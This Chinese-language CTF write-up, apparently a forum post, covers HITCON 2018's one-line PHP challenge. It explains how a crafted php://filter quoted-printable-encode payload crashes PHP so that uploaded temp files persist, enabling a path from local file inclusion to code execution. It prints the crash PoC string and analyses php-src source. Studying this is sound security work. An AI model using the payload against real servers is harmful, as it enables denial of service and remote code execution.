LFI to RCE

我之前写过一篇,从一道题看LFI 与 RCE里面提到了一种方式,这一篇算是那篇的一个续写
越来越多的比赛会出一些短小精悍的PHP代码 ,比如[HFCTF 2022]ezPHP等等。这篇文章也是一样,题目出自[HITCON CTF 2018]One Line PHP Challenge

题目环境:

  • Ubuntu 18.04 + PHP 7.2 + Apache

题目源码

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

很简短,简单描述下思路,利用filter编码与session.upload搭配,从而构造出开头是@<?php的文件流,达成了RCE。

文件流保存

PHP在处理一个文件上传的请求数据包时,会将目标文件流保存到临时目录下,并且会以PHP+随机六位字符串进行保存(php[0-9A-Za-z]{3,4,5,6}),而一个文件流的处理有存活周期,在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。在这期间,一个临时文件存活时间大概有30s。

既然了解了处理机制,那我们如何去确定临时文件呢?最简单的是暴力破解,但是30s的时间来确定1/2176782336,emm...基本不可能,但不排除运气好的话,说不定可以~

另辟蹊径

除了在30s内确定临时文件以外,还有什么别的办法呢?前面说过,众所周知,PHP崩溃把临时文件永久保留下来,这样的话,我们就有足够的时间来进行爆破了。

POC

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

既然我们已知POC是在data部分传入超大ascii码时,引起PHP崩溃

问题来了,PHP为什么会崩溃?是因为文件流太大吗?

PHP的底层问题

具体问题分析可以看php-src/ext/standard/filters.c,分析方法有点类似于之前从php底层去研究ini_set,可以去看我这篇文章https://xz.aliyun.com/t/10893

case PHP_CONV_ERR_TOO_BIG: {
    char *new_out_buf;
    size_t new_out_buf_size;

    new_out_buf_size = out_buf_size << 1;
//new_out_buf_size会比out_buf_size左移一位,但是如果out_buf_size本身就非常小,就无法进入下面的if循环
    if (new_out_buf_size < out_buf_size) {
        /* whoa! no bigger buckets are sold anywhere... */
        if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
            goto out_failure;
        }//上面这个if不用考虑了,直接看下面。

        php_stream_bucket_append(buckets_out, new_bucket);

        out_buf_size = ocnt = initial_out_buf_size;
        out_buf = pemalloc(out_buf_size, persistent);//如果不是内部字符串并且引用计数为1时,直接调用perealloc分配内存。
        pd = out_buf;
    } else {
        new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
        pd = new_out_buf + (pd - out_buf);
        ocnt += (new_out_buf_size - out_buf_size);
        out_buf = new_out_buf;
        out_buf_size = new_out_buf_size;
    }//当没有进入上面那个if,就会导致每次内存分配都会倍增,进而过大。
} break;

正常的逻辑,PHP_CONV_ERR_TOO_BIG错误就代表out_buf_size是个大数,通过左移能丢失最高位变成一个小数,从而进入if分支goto跳出循环,但是这里的问题是,errPHP_CONV_ERR_TOO_BIG, out_buf_size是个小数。

当我们输入的字符串中存在ascii大于126的字符,那么就会进入如下else分支

else {
if (line_ccnt < 4) {
    if (ocnt < inst->lbchars_len + 1) {
        err = PHP_CONV_ERR_TOO_BIG;
        break;
    }
    *(pd++) = '=';
    ocnt--;
    line_ccnt--;

    memcpy(pd, inst->lbchars, inst->lbchars_len);
    pd += inst->lbchars_len;
    ocnt -= inst->lbchars_len;
    line_ccnt = inst->line_len;
}

而在一开始,isnt初始化,

case PHP_CONV_QPRINT_ENCODE: {
unsigned int line_len = 0;
char *lbchars = NULL;
size_t lbchars_len;
int opts = 0;

if (options != NULL) {
        ...
}
retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
    if (lbchars != NULL) {
    ...

} else {
        if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
        goto out_failure;
        }
    }
} break;

然后lbchars_len进行赋值

static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
    if (line_len < 4 && lbchars != NULL) {
        return PHP_CONV_ERR_TOO_BIG;
    }
    inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
    inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
    inst->line_ccnt = line_len;
    inst->line_len = line_len;
    if (lbchars != NULL) {
        inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
        inst->lbchars_len = lbchars_len;
    } else {
        inst->lbchars = NULL;
    }
    inst->lbchars_dup = lbchars_dup;
    inst->persistent = persistent;
    inst->opts = opts;
    inst->lb_cnt = inst->lb_ptr = 0;
    return PHP_CONV_ERR_SUCCESS;
}

可以看出,因为我们使用php://没有对convert.quoted-printable-encode附加options, 所以这里的options就是NULL,一直到了else分支, 我们可以看到传的参数为(php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)

因此,lbcharsNULL,导致lbchars_len没有被赋值,所以inst->lbchars_len变量未初始化调用。

根据定义,我们知道lbchars_len长度为8bytes,通过调整附加data的长度,会有一些request报文头的8bytes被存储到inst->lbchars_len

} else {
    if (line_ccnt < 4) {
        if (ocnt < inst->lbchars_len + 1) {
            err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
            break;
        }
        *(pd++) = '=';
        ocnt--;
        line_ccnt--;

        memcpy(pd, inst->lbchars, inst->lbchars_len);
        pd += inst->lbchars_len;
        ocnt -= inst->lbchars_len;
        line_ccnt = inst->line_len;
    }
    if (ocnt < 3) {
        err = PHP_CONV_ERR_TOO_BIG;
        break;
    }
    *(pd++) = '=';
    *(pd++) = qp_digits[(c >> 4)];
    *(pd++) = qp_digits[(c & 0x0f)];
    ocnt -= 3;
    line_ccnt -= 3;
    if (trail_ws > 0) {
        trail_ws--;
    }
    CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

可以发现memcpy的位置第二个参数是NULL,第一个,第三个参数可控,如果被调用,会导致一个segfault,从而在tmp下驻留文件,但是我们无法使用%00,如何让ocnt < inst->lbchars_len + 1不成立呢?(ocnt为data的长度),这里就要利用整数溢出,将lbchars_len + 1溢出到0。这样我们就可以控制inst->lbchars_len的值了,但是因为php://resource内容不能包含\x00,所以只能构造\x01-\xff的内容。

综上分析:

  • inst->lbchars_len可控且存在整数溢出
  • inst->lbchars_len 变量未初始化调用
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

POC会导致PHP崩溃,临时文件会永久保存。

CVE-2016-7125

5.6.25 之前的 PHP 和 7.0.10 之前的 7.x 中的 ext/session/session.c 以触发错误解析的方式跳过无效的会话名称,这允许远程攻击者通过控制会话来注入任意类型的会话数据名称

根据我们上面的POC进行测试漏洞影响版本。

影响版本测试

<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>

我用docker测试的,实测的话,PHP<7.4 & PHP<5.6.25 两种都可实现

  • PHP-7.1.3

  • PHP-5.6.28

    当前版本下的PHP不会引起崩溃

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖